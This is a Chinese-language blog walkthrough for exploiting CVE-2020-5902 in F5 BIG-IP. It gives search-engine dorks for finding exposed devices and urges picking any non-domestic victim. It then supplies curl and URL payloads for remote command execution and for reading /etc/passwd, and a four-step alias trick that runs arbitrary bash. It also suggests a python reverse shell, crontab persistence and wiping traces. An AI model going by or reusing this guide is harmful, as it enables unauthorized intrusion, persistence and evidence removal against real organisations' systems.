简介

F5 BIG-IP 是美国``F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
CVE编号:CVE-2020-5902

0x01 漏洞描述

在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞。
导致未授权攻击者可以执行任意命令(弹个shell啥的😋)

0x02 影响版本

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x03 漏洞验证

emmmm 首先去shodan上任意寻找一个受害者(别是国内的就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
shodan
http.favicon.hash:-335242539
http.title:"BIG-IP®- Redirect"

fofa
title="BIG-IP®- Redirect"

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb>71a17994678692585ee5
443.https.get.title:"BIG-IP®- Redirect"

google
inurl:"tmui/login.jsp"
intitle:"BIG-IP" inurl:"tmui"

开搞

(截图随便截的,凑活看看吧)
github上面已经公布的poc

1
2
3
4
5
RCE: 
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb /workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

其中list+auth+user+admin这个命令是F5设备的命令,查看管理员权限的用户,如想查看所有用户可以使用list+auth+user来查看(+是连接符,在url中就是空格的含义,不用管它)
如下图所示:

到这里为止,已经验证了,确实能够执行远程命令和远程读取任意文件,但是给出的poc中能执行的只有F5设备的命令,并不能执行例如ls、whoami、pwd等常用的bash命令。
于是我们需要稍加改造。

  • 1.修改alias ,将list设置成bash命令
1
htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
  • 2.生成bash文件并写入要执行的命令
1
2
htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
POST:fileName=/tmp/m0sway&content=whoami
  • 3.执行bash文件
    htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/m0sway
  • 4.还原alias设置,防止影响目标正常使用(切记一定要还原,不然无法使用正常的命令)
    https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

Example:

这是命令成功执行后的回显,此处执行的是whoami命令

能够执行命令之后,就是弹shell啦。
这里用python弹,F5设备都是自带python的,使用python弹方便些(用bash弹出来的shell隧道不稳定,容易断开)。
如果想研究研究F5设备可以在crontab里面弄一条定时任务弹shell.

emmm 记得走之前清理下痕迹就好(我看了下tmp目录,好几个中国的反弹shell的IP,真的是能搞..不过有的应该是弹不出去的shell😇)

POC

我这么懒,是吧?